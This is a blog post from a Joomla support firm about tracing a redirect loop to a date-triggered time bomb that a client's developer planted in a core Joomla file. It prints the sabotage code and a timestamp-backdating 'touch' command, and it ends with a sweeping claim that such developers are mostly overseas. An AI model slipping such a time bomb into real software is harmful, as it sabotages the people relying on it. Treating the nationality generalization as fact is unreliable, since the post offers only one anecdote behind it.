It is Friday afternoon, and we have a little present for you: a free real life suspense story about a wicked Joomla developer, how he crashed his client’s website, and how we knew who he was, Sherlock Holmes style. Coincidentally, this post comes after our bad Joomla developers post, which makes sense, as a wicked developer is also a bad developer, but with decisively more intentional destructive capabilities. Are you ready? Let’s start!
A client of ours called us on Monday morning and told us that he’s seeing an error message every time he visits the frontend of his Joomla website. So, we checked his website and we got the following error:
The page isn’t redirecting properly
This meant that there was an infinite loop somewhere causing the page to redirect to itself. So, we checked the .htaccess file for any suspicious redirects, but we found none. Nevertheless, we renamed the .htaccess to .htaccess.old just to make sure that the problem is not related to anything in the .htaccess file. We then visited the website, and, as we expected, we still saw the same error.
We then checked all the plugins installed on the Joomla website to see if there was an SEF plugin or any plugin that is responsible for redirecting, but we found none.
We felt that we were stuck (typically these issues are caused by either a wrong rule in the .htaccess file or an SEF plugin) – and we wanted more information about what’s really going on when someone visits the website. So, we checked the Apache logs under /usr/local/apache/domlogs/[domain-name] and we searched for our IP there (using a simple grep), and we noticed that for each page load there were 20 301 redirects (which is the default Apache limit), until we were redirected using a 303 redirect (temporary redirect) to the Error page. Unfortunately, these findings were not helpful because we knew that that was the case.
We then thought, it must be a weird system plugin causing this redirect (a plugin that we don’t know of). So, we renamed the folder system under the plugins folder to system_old, but that didn’t help: the website still showed the same error message.
We did the same thing with the content folder, maybe there is a redirect happening there, but still, nothing. We even renamed the whole plugins folder to plugins_old, thinking that it will solve the problem (or at least force the website to show an error message complaining that it’s not able to load a specific plugin), but that didn’t do anything: we had the same “The page isn’t redirecting properly” error.
At this point, we started to lean toward the hack theory. So, we logged in to the shell and we generated a list of all the modified files in the past 10 days using the following command:
find /home/[cpanel-user]/public_html -path '/home/[cpanel-user]/public_html/cache/*' -prune -o -mtime -10 -ls | grep -vE '(/cache/)'
The above just listed some images that were uploaded in the past 10 days by the website’s staff – which meant that there were no core files that were changed. However, the above shell command may not always yield accurate results, because a malicious script (once uploaded) can change the date of any file using the touch shell command. For example, to change the modification date of a file called file1.php to 90 days ago, all you need to do is to issue the following command:
touch -d "90 days ago" file1.php
So, we decided to overwrite all the Joomla core files (just in case) using our famous, super quick, super efficient method to cleanup Joomla websites. But, there was a problem, the client had many core files modified (for many reasons) and he didn’t have a list of which files were modified. So that option was out of the question…
Now our best option was to discover the hack the old, manual way: we renamed every folder under the Joomla website from foldername to foldername_old, and then tested the website after each folder renaming to see how it responds. If it crashes the same way, then this folder has nothing to do with the problem, if it crashes by complaining that there is a missing file, then this means that files in this folder are being used before (or during) the hack (in that case we have to rename back that folder to its original name).
So we renamed the folders administrator, cache, components, cli, images, language, layouts, media, modules, plugins, templates, tmp to administrator_old, cache_old, components_old, cli_old, images_old, language_old, layouts_old, media_old, modules_old, plugins_old, templates_old, tmp_old respectively. The folders includes and libraries caused the Joomla application to complain of missing files when renamed, so we had to revert back their names to what they where.
Now, it was obvious that the problem was either in the includes or in the libraries folders. We quickly checked the includes folder (this folder only has a few files), and it had nothing malicious. So now we’re left only with checking the libraries folder for anything malicious.
After a lot of hard and complicated work, we finally nailed it. It was the document.php file (located under the libraries/joomla/document folder) which had the following code in its very beginning:
defined('JPATH_PLATFORM') or die;
$ExpireDate=strtotime("10-06-2016");
$Today=strtotime(date("d-m-Y"));
if($Today > $ExpireDate)
{
$app=JFactory::getApplication();
$app->redirect('index.php','');
}
The above code caused the website to redirect to the homepage (causing an infinite loop) if the current date was past June 10th, 2016 (it was June 13th when we worked on this problem).
Now, we’ve seen too many Joomla hacks in our life, but this one was curious: it didn’t seem like a blind hack, it didn’t even seem like a hack at all (that’s why we published the code, because technically, it wasn’t malicious, even though realistically, it caused the client’s website to crash). It seemed as if almost one of the developers working on this website intentionally added the above code (for a mysterious reason). Maybe it was a bug – but why would a high level Joomla developer work on such a critical file?
We informed the client of our findings (of course, we removed the code from the document.php file, thus fixing the problem), and the client instructed us to investigate the issue further (which was great since we are rarely instructed to do forensics). So, we checked the Apache logs around the time the file was modified (to see whether the file was modified by an external script), but we found nothing suspicious (note that the file was last modified on May 29th, 2016 at 20:56 server time [which was EST]).
We then checked the messages file under /var/log for any FTP activity that happened during the time where the file was modified, and we found this:
May 29 20:55:28 c124c pure-ftpd: (?@[ip]) [INFO] New connection from [ip] May 29 20:55:30 c124c pure-ftpd: (?@[ip]) [INFO] [user@domain] is now logged in May 29 20:55:34 c124c pure-ftpd: ([user@domain]@[ip]) [NOTICE] /home/[cpanel-user]/public_html//libraries/joomla/document/document.php downloaded (21324 bytes, 31.55KB/sec) May 29 20:56:09 c124c pure-ftpd: ([user@domain]@[ip]) [NOTICE] /home/[cpanel-user]/public_html//libraries/joomla/document/document.php uploaded (20250 bytes, 4.60KB/sec)
Obviously, the file modification happened using FTP by a developer working for our client. Now, of course, one might think that the developer’s FTP credentials were stolen, but we were able to confirm with our client that it wasn’t the case because the IP matched the developer’s location (and, more importantly, it matched the sender IP in the emails sent by the developer to our client).
But, what if the developer was trying to do something and the whole thing was a bug? Well, the fact that it took the developer 35 seconds to add 5 lines of code meant that he copied and pasted the code from somewhere else and the whole thing was intentional. Additionally, the logs (in the messages file) showed that the developer was working on a 3rd party extension that had nothing to do with the core document.php file.
We have to say that the client was both surprised and devastated, as he relied on that developer on many things and trusted him with his own business. The client, despite the huge stress, took the right decision by not confronting the developer with our findings (thus avoiding a potential backlash), and he smartly allocated the developer on another (low-priority) project he has, just after having us lock down all access to the website.
Unlike the client, we were not surprised because we know that there are some developers out there who are wicked, who lack basic professional ethics, and who are typically physically located outside their client’s legal jurisdiction (most of these developers are located overseas), so they can do whatever they want with zero consequences (at least for them) and for any reason (in this particular scenario, the client explained that it was possible that the developer wanted to break the website so that he can get paid for fixing it), but these developers are seemingly cheap, and there’s always a risk when it comes to cheap labor: you might be lucky and get a super developer who will do whatever you want for pennies, or you might be unlucky and get this sleazy, sneaky, wicked developer who will end up costing you much more money than a real developer.
At itoctopus, our clients love us because we are ethical Joomla developers. We are fair in our estimates, we try to save money for our clients, our code is clean and well tested, and we never have our own interests in mind when providing advice to our clients. So if you need real, honest, affordable, and professional Joomla developers, then please contact us, and we promise you that it’ll be the start of a long, rewarding, and positive business relationship!